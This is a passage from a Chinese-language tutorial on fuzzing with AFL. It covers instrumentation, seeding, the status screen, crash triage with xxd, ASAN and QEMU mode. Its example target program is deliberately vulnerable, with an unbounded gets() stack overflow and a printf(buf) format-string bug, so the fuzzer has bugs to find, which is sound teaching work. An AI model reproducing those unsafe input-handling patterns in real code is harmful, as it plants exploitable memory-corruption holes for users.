    else if(str[0] == 'F' && len == 6)
    {
        raise(SIGSEGV);
        //如果输入的字符串的首字符为F并且长度为6,则异常退出
    }
    else
    {
        printf("it is good!\n");
    }
    return 0;
}

int main(int argc, char *argv[])
{
    char buf[100]={0};
    gets(buf);//存在栈溢出漏洞
    printf(buf);//存在格式化字符串漏洞
    vuln(buf);

    return 0;
}

接下来,需要做以下三件事:

(1)使用afl-gcc编译目标代码(即插桩)

$ afl-gcc test.c -g -o test

(2)新建测试用例(测试用例即待测程序的输入,可以随意给个文件作为起始用例。AFL会在此用例的基础上进行变异,好的测试用例有助于更快发现更多bug)

$ mkdir testcase
$ cd testcase
$ vim file123
	123
	qwe

(3)输出文件夹(发现的bug等信息会输出到该目录下)

$ mkdir output

最后,指定好以上三项的位置,执行如下命令,就会进入AFL主面板开始fuzz啦

afl-fuzz -i testcase/ -o output/ ./test

这里给一下我fuzz完成后(ctrl +c)的情况:

root@x:~/afl-test# afl-fuzz -i testcase/ -o output/ ./test
afl-fuzz 2.52b by <lcamtuf@google.com>
[+] You have 8 CPU cores and 1 runnable tasks (utilization: 12%).
[+] Try parallel jobs - see /usr/local/share/doc/afl/parallel_fuzzing.txt.
[*] Checking CPU core loadout...
[+] Found a free CPU core, binding to #0.
[*] Checking core_pattern...
[*] Setting up output directories...
[+] Output directory exists but deemed OK to reuse.
[*] Deleting old session data...
[+] Output dir cleanup successful.
[*] Scanning 'testcase/'...
[+] No auto-generated dictionary tokens to reuse.
[*] Creating hard links for all input files...
[*] Validating target binary...
[*] Attempting dry run with 'id:000000,orig:file1'...
[*] Spinning up the fork server...
[+] All right - fork server is up.
    len = 8, map size = 5, exec speed = 306 us
[+] All test cases processed.

[+] Here are some useful stats:

    Test case count : 1 favored, 0 variable, 1 total
       Bitmap range : 5 to 5 bits (average: 5.00 bits)
        Exec timing : 306 to 306 us (average: 306 us)

[*] No -t option specified, so I'll use exec timeout of 20 ms.
[+] All set and ready to roll!

                        american fuzzy lop 2.52b (test)

┌─ process timing ─────────────────────────────────────┬─ overall results ─────┐
│        run time : 0 days, 0 hrs, 24 min, 9 sec       │  cycles done : 2574   │
│   last new path : 0 days, 0 hrs, 24 min, 9 sec       │  total paths : 3      │
│ last uniq crash : 0 days, 0 hrs, 14 min, 10 sec      │ uniq crashes : 6      │
│  last uniq hang : none seen yet                      │   uniq hangs : 0      │
├─ cycle progress ────────────────────┬─ map coverage ─┴───────────────────────┤
│  now processing : 2 (66.67%)        │    map density : 0.01% / 0.01%         │
│ paths timed out : 0 (0.00%)         │ count coverage : 1.00 bits/tuple       │
├─ stage progress ────────────────────┼─ findings in depth ────────────────────┤
│  now trying : splice 9              │ favored paths : 3 (100.00%)            │
│ stage execs : 47/48 (97.92%)        │  new edges on : 3 (100.00%)            │
│ total execs : 5.41M                 │ total crashes : 385k (6 unique)        │
│  exec speed : 3330/sec              │  total tmouts : 1 (1 unique)           │
├─ fuzzing strategy yields ───────────┴───────────────┬─ path geometry ────────┤
│   bit flips : 0/128, 0/125, 0/119                   │    levels : 2          │
│  byte flips : 0/16, 0/13, 0/7                       │   pending : 0          │
│ arithmetics : 2/896, 0/129, 0/9                     │  pend fav : 0          │
│  known ints : 0/78, 0/339, 0/308                    │ own finds : 2          │
│  dictionary : 0/0, 0/0, 0/0                         │  imported : n/a        │
│       havoc : 4/2.31M, 2/3.09M                      │ stability : 100.00%    │
│        trim : 83.10%/16, 0.00%                      ├────────────────────────┘
^C────────────────────────────────────────────────────┘          [cpu000: 23%]

+++ Testing aborted by user +++
[+] We're done here. Have a nice day!

1.3 分析结果

fuzz完成后,根据AFL面板的信息我们知道有6个crash,因此我们进入output目录去分析

root@x:~/afl-test/output# ls -al
total 108
drwxr-xr-x 5 root root  4096 Jun  2 10:15 .
drwxr-xr-x 4 root root  4096 Jun  2 10:08 ..
drwx------ 2 root root  4096 Jun  2 10:25 crashes
-rw------- 1 root root     1 Jun  2 10:39 .cur_input
-rw------- 1 root root 65536 Jun  2 10:16 fuzz_bitmap
-rw------- 1 root root   739 Jun  2 10:39 fuzzer_stats
drwx------ 2 root root  4096 Jun  2 10:15 hangs
-rw------- 1 root root 15250 Jun  2 10:39 plot_data
drwx------ 3 root root  4096 Jun  2 10:15 queue
  • crashes/ 文件夹中存放了fuzz过程中产生的crash样例

  • hangs/ 文件夹中存放了fuzz过程中产生的超时样例

  • queue/ 文件夹中存放了fuzz过程中不同执行路径的测试用例

使用xxd命令查看产生的6个crash样例,然后可以将样例作为输入用gdb调试test程序。

root@x:~/afl-test/output/crashes# xxd id:000000,sig:06,src:000000,op:havoc,rep:64
00000000: 1f20 0820 fe1f 2004 0020 200c 0064 1ffe  . . .. ..  ..d..
00000010: 017f 2033 ff20 2000 180b 2020 2008 20e2  .. 3.  ...   . .
00000020: 1f20 e21f ff01 00ff ff20 2020 2002 0024  . .......    ..$
00000030: ff00 0000 0000 0100 203a 200c 20e2 1f01  ........ : . ...
00000040: 2020 0019 0110 510b 2020 2002 0020 2020    ....Q.   ..
00000050: 2020 2020 2020 2020 2020 2020 2020 2020
00000060: 2020 2020 2020 2020 2020 2020 2020 0820                .
00000070: 2020 0c20 e21f 2002 7f80 2020 6b20 0101    . .. ...  k ..
00000080: 0101 0101 1d01 0101 0101 0101 0101 0101  ................
00000090: 0101 0101 0101 0101 0101 0101 40ff 2080  ............@. .
root@x:~/afl-test/output/crashes# xxd id:000001,sig:11,src:000002,op:arith8,pos:0,val:-28
00000000: 4662 6262 627f 001a                      Fbbbb...
root@x:~/afl-test/output/crashes# xxd id:000002,sig:06,src:000002,op:havoc,rep:128
00000000: 3685 c13e 3e3e 002f 3e3e 203e 3e6a 3e3e  6..>>>./>> >>j>>
00000010: 3ee4 343e 3e3e 3e53 3d5b 146a 3e3e 2e3e  >.4>>>>S=[.j>>.>
00000020: 3e3e 3e4e 3e6a 3e5c 273e 3e3e 3e3e 6a3e  >>>N>j>\'>>>>>j>
00000030: 3e8c 3e3e 3e3e 4a3e 6a3e 3e27 d9c5 a8c5  >.>>>>J>j>>'....
00000040: 5314 533e 3e1d 3e3e 3e3e 3e3e 3e3e 3e3e  S.S>>.>>>>>>>>>>
00000050: 3e3e 3e3e 3e3e 3e3e 3e3e 3e3e 3e3e 3e3e  >>>>>>>>>>>>>>>>
00000060: 3e3e 3e3e 3e2f 3e3e 343e 3e6a 3e3e 0080  >>>>>/>>4>>j>>..
00000070: 3e3e 3e27 fb9c 9c9c 9c9c 9c9c 9c9c c5c5  >>>'............
00000080: c5a6 c5e0 7fff                           ......
root@x:~/afl-test/output/crashes# xxd id:000003,sig:06,src:000001+000002,op:splice,rep:4
00000000: 2532 6e5a 627f fc19                      %2nZb...
root@x:~/afl-test/output/crashes# xxd id:000004,sig:06,src:000001,op:havoc,rep:128
00000000: 4106 00f2 5fdf 03a0 c5f6 dfdf 40a0 dff4  A..._.......@...
00000010: f5ff e5f4 f4fe 04f5 f4f4 f4f4 f4f4 f4f4  ................
00000020: 0ef5 f4ff 800d f4b4 f400 f4f4 0edb eadf  ................
00000030: f8df dfe7 f400 eadd dfe7 df02 dff8 00d7  ................
00000040: dfdf 01df dfdf ecdb eadf f8df dfe7 dfdf  ................
00000050: dff8 1ad7 dfdf 01da dfdf dedf dfdf dfdf  ................
00000060: dfdf dfdf dfdf dfdf dfdf dfde dfdf dfde  ................
00000070: ed00 e3e3 e316 0d00 0000 1000 00c0 dfe7  ................
00000080: dfdf df00 d701 dfd6 0e                   .........
root@x:~/afl-test/output/crashes# xxd id:000005,sig:11,src:000002+000001,op:splice,rep:16
00000000: 4132 800f fe0f 0f0f 0f0f 220f 0f0f 0f0f  A2........".....
00000010: 0f0f 0f0f 0f0f 0f0f 0f0f 0ef0 0f22 0f0f  ............."..
00000020: 0f0f 0f0f 0f0f 0f0f 0f0f 0f0f 0f0f 0f0f  ................
00000030: 0f0f 0f0f 0f0f 0f0f 0f0f 0f7f ff64 0f0f  .............d..
00000040: fc0e 000f 0f0f 0f0f 0fff                 ..........

1.4 继续已停止的fuzz测试

afl-fuzz -i- -o output ./test

1.5 结合ASAN的fuzz

ASAN只推荐在32位机器上使用。如果在64位机器上使用,也需将AFL编译成32位的。

Method 1. set AFL_USE_ASAN=1 before calling ‘make clean all’
Method 2. add -fsanitize=address option into makefile

1.6 文件fuzz

1.2和1.3节讲的是从stdin读取输入的目标程序,这里补充一下从文件读取输入的目标程序,以 readelf -a xxfile 为例。

有源码插桩:

afl-fuzz -i in/ -o out/ ./readelf -a @@

无源码插桩:

afl-fuzz -i in/ -o out/ -Q ./readelf -a @@

2 无源码AFL fuzz

无源码时,即无法对源码使用功能afl-gcc/afl-g++进行插桩编译时,整个fuzz过程会变得异常缓慢。但确实没有源码的情况下可使用该方法。

步骤1:编译支持无源码fuzz的AFL

在afl源码目录下:

cd qemu_mode
./build_qemu_support.sh
cd ..
make install 

步骤2:跟1.2和1.3节一样,只不过有两点差异:

  • 待测程序是未经afl-gcc插桩编译过的,如使用gcc编译

  • 执行afl-fuzz命令时多加了一个-Q参数

afl-fuzz -i testcase/ -o output/ -Q ./test

3 AFL文档学习

afl面板介绍:

https://lcamtuf.coredump.cx/afl/status_screen.txt

4 参考文档

初探AFL-Fuzz

小白初学AFL(American Fuzzy Lop)

AFL文件变异一览

AFL(American Fuzzy Lop) Cautions

Read More

^